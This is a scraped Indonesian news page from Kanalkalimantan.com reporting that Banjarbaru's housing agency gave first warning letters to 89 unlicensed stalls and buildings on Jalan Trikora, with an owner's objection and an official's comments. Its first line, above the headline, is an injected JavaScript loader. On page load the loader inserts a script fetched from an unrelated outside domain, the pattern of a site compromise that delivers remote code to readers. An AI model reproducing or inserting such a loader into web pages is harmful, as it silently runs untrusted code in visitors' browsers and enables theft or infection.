(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Disperkim Banjarbaru Berikan Surat Peringatan Pertama 89 Warung dan Bangunan di Trikora


KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 89 buah warung dan bangunan liar di Jalan Trikora, Kelurahan Landasan Ulin Tengah, teridentifikasi tak memiliki Izin Mendirikan Bangunan (IMB) oleh Dinas Permukiman Rakyat dan Kawasan Perumahan (Disperkim) Kota Banjarbaru.

Selain tak memiliki izin, bangunan itu juga dianggap meresahkan karena sebagian besarnya diduga sebagai warung remang-remang.

Salah seorang pemilik bangunan usaha yang ikut kena imbas penertiban Surat Peringatan (SP) 1 ialah Iin Apriliani alias Jarwati (36).

Kepada petugs gabungan di lokasi, Iin menyatakan dengan tegas bahwa bangunan usahanya bukan warung remang-remang yang kerap disebut warung jablay.

Baca juga: Tuntut Kenaikan Upah 15 Persen, Ratusan Buruh Demo di DPRD Kalsel

“Saat ada petugas tadi ulun gak ada di rumah, tapi dikabari katanya banyak Satpol PP di depan warung, ulun kaget langsung datang ke sini ternyata dikira warung jablay. Padahal punya ulun bukan warung jablay ini usaha ulun untuk makan untuk menghidupi anak ulun sekolah,” ujar Iin kepada wartawan usai pemberian SP 1 kepada bangunan usahanya, Selasa (14/11/2023).

Iin membeberkan bahwa dirinya sudah menetap di kawasan itu sejak 2013 silam dengan mendirikan usaha pembuatan batu putih untuk makam.

Maksud dirinya mendirikan bangunan usaha di sana juga katanya untuk menjaga tanah, yang mana dirinya diamanahi oleh sebuah perusahaan untuk menjaga tanah tersebut agar tidak dapat diambil oleh orang lain.

Pernyataan salah seorang bangunan usaha Iin Apriliani alias Jarwati (36), yang ikut kena imbas penertiban Surat Peringatan (SP) 1. Foto: Wanda

“Dari zaman sunyi sudah membuka usaha di situ memecah batu untuk makam, semua izin saya punya dari CV hingga NPWP-nya ada, data perizinan saya sudah lengkap semua,” ungkap dia.

Baca juga: Lantik 103 Pejabat Administrator dan Pengawas, Ini Pesan Pj Bupati HSU

Kepala Bidang (Kabid) Perumahan Disperkim Kota Banjarbaru, Reny Yudiarni, menyatakan pemberian SP 1 ditujukan kepada pemilik bangunan agar dapat menunjukkan surat-surat terkait izin bangunan maupun izin usaha.

“Rata-rata bangunannnya itu di lahan sewaan dari pihak ketiga, kita temukan warung-warung yang banyak lampunya ini meskipun terlihat masih tutup kita berikan SP 1 kita tempelkan di bangunannya,” ujar Reny Yudiarni saat melakukan sidak bangunan, Selasa (14/11/2023) sore.

Bangunan di kawasan tersebut, katanya, merupakan pindahan dari warung yang sebelumnya sempat ditertibkan di kawasan Simpang LIK Jalan Trikora.

“Ada juga warung yang terdapat room karoeke juga sudah jelas terlihat tadi kita cek,” katanya.

Baca juga: Pilpres 2024: Anies-Muhaimin No 1, Prabowo-Gibran No 2, dan Ganjar-Mahfud MD No 3

Ia menyambungkan, usai diberikan SP 1 pihakan akan memberikan waktu 14 hari kepada pemilik bangunan untuk mengurus izin atau meninggalkan bangunan.

“Kita data dulu semua dengan SP1, kita berikan waktu untuk menunjukkan surat surat terkait. Kalau mereka nanti dapat memperlihatkan izinnya tidak akan ada lagi tindak lanjut, tinggal usaha nya aja lagi mereka,” jelas dia lagi.

Sebelumnya sejumlah laporan tertulis didapatkan pihaknya dari masyarakat dan kelurahan setempat yang menyatakan keresahan mereka terhadap bangunan warung itu.

Alhasil petugas gabungan datang ke lokasi melakukan sidak, seperti di antaranya Disperkim Banjarbaru, Dinas Pemuda Olahraga Kebudayaan dan Pariwisata (Disporabudpar) Banjarbaru, Satpol PP Banjarbaru hingga ada lagi petugas lainnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

7 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

9 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

9 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

10 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

11 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

13 jam ago

This website uses cookies.